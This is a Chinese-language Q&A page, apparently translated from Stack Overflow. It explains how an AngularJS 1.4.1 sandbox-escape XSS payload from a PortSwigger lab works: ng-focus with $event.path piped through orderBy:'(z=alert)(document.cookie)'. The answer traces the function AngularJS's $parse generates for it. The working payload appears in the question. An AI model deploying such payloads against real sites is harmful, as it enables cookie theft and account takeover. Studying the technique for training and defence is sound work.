首页 > 解决方案 > 请解释这个 Angular JS 脚本:

问题描述

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.1/angular.min.js"></script>
<script>
location='https://www.example.com/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

Angular JS 版本:1.4.1(仍然使用Angular JS Sandbox

任何人都可以在搜索部分之后解释位置变量中的脚本吗?具体来说,函数内部发生了orderBy什么?-'(z=alert)(docuement.cookie)'#x 如何调用警报功能?等等

我在解决这个实验室时遇到了它:https ://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp

如果我的问题需要进一步澄清,请告诉我。您甚至可以将我指向讨论此问题的 angularJs 文档中的特定位置。

标签: javascriptangularjs

解决方案


首先,#x不是 orderBy 表达式的一部分。它是 url 片段。这会导致浏览器关注输入元素,从而触发 ng-focus 事件。

只是为了让我们在同一页面上。这是注入的代码:<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>

漏洞利用的高级视图由您链接的页面上的解决方案提供:

该漏洞利用 AngularJS 中的 ng-focus 事件来创建绕过 CSP 的焦点事件。它还使用 $event,这是一个引用事件对象的 AngularJS 变量。path 属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含窗口对象。

通常,| 在 JavaScript 中是按位或操作,但在 AngularJS 中它表示过滤操作,在本例中为 orderBy 过滤器。冒号表示正在发送到过滤器的参数。在参数中,我们没有直接调用警报函数,而是将其分配给变量 z。只有当 orderBy 操作到达 $event.path 数组中的窗口对象时,才会调用该函数。这意味着它可以在窗口范围内调用,而无需显式引用窗口对象,有效地绕过了 AngularJS 的窗口检查。

然而,这并没有解释警报函数是如何被实际调用的。解决方案隐藏在 AngularJS 源代码的深处。AngularJS 使用它的$parse-service 来解析属性中给它的表达式。如上所述,表达式是使用 orderBy-filter 的过滤器表达式。orderBy-filter 实现了一个函数,它接受一个数组 ( $event.path) 和一个排序表达式 ( '(z=alert)(document.cookie)') 作为参数并返回有序数组。

orderBy-filter 对排序表达式有什么作用?排序表达式针对数组的元素进行评估,以提取应该用于对元素进行排序的键。(文档中有很多示例:https ://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy )。orderBy-filter 如何做到这一点?它将排序表达式传递给$parse函数以将其转换为 JS 函数。生成的函数如下所示:

    var fn = function(s, l, a, i) {
        var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
        v4 = v5 ? l : s;
        if (!(v5)) {
            if (s) {
                v3 = s.z;
            }
        } else {
            v3 = l.z;
        }
        if (v4 != null) {
            if (!(v6)) {
                if (s) {
                    v2 = s.alert;
                }
            } else {
                v2 = l.alert;
            }
            ensureSafeObject(v4.z, text);
            v1 = v4.z = v2;
            if (v1 != null) {
                ensureSafeFunction(v1, text);
                if (!(v9)) {
                    if (s) {
                        v8 = s.document;
                    }
                } else {
                    v8 = l.document;
                }
                if (v8 != null) {
                    v7 = v8.cookie;
                }
                v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
            }
        }
        return v0;
    };

为 中的每个元素调用此函数$event.path。它非常难看,所以我试着把它清理一下,让它更容易理解:

var fn = function(element, l, a, i) {
    // element is the element from $event.path all other parameters are undefined

    // these are all falsy
    const hasLPropertyZ = l && ('z'in l);
    const hasLPropertyAlert = l && ('alert'in l);
    const hasLPropertyDocument = l && ('document'in l);

    const elementOrL = hasLPropertyZ ? l : element;

    // this block is useless
    let elementZ;
    if (!(hasLPropertyZ)) {
        if (element) {
            elementZ = element.z;
        }
    } else {
        elementZ = l.z;
    }
    // ----------------------

    let returnValue;
    if (elementOrL != null) {

        // here begins the real action. We are reading the alert property from our element.
        let elementAlert;
        if (!(hasLPropertyAlert)) {
            if (element) {
                elementAlert = element.alert;
            }
        } else {
            elementAlert = l.alert;
        }

        ensureSafeObject(elementOrL.z, text);
        // and assigning it to property z of our element
        // this is the (z=alert) part of the expression
        const alertFunction = elementOrL.z = elementAlert;

        // if the alertFunction is null (on all elements except the window element) we don't do anything.
        if (alertFunction != null) {
            // one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
            ensureSafeFunction(alertFunction, text);

            // here we are reading window.document
            let theDocument;
            if (!(hasLPropertyDocument)) {
                if (element) {
                    theDocument = element.document;
                }
            } else {
                theDocument = l.document;
            }

            // then we read document.cookie
            let theCookie;
            if (theDocument != null) {
                theCookie = theDocument.cookie;
            }

            // executing alert
            returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
        }
    }
    return returnValue;
};
return fn;

如您所见,该函数实质上实现了以下代码:

function(element) {
    const alertFunction = element.alert;
    element.z = alertFunction;
    alertFunction(element.document.cookie);
}

我希望这有帮助。如果我能澄清一些事情,请告诉我。


推荐阅读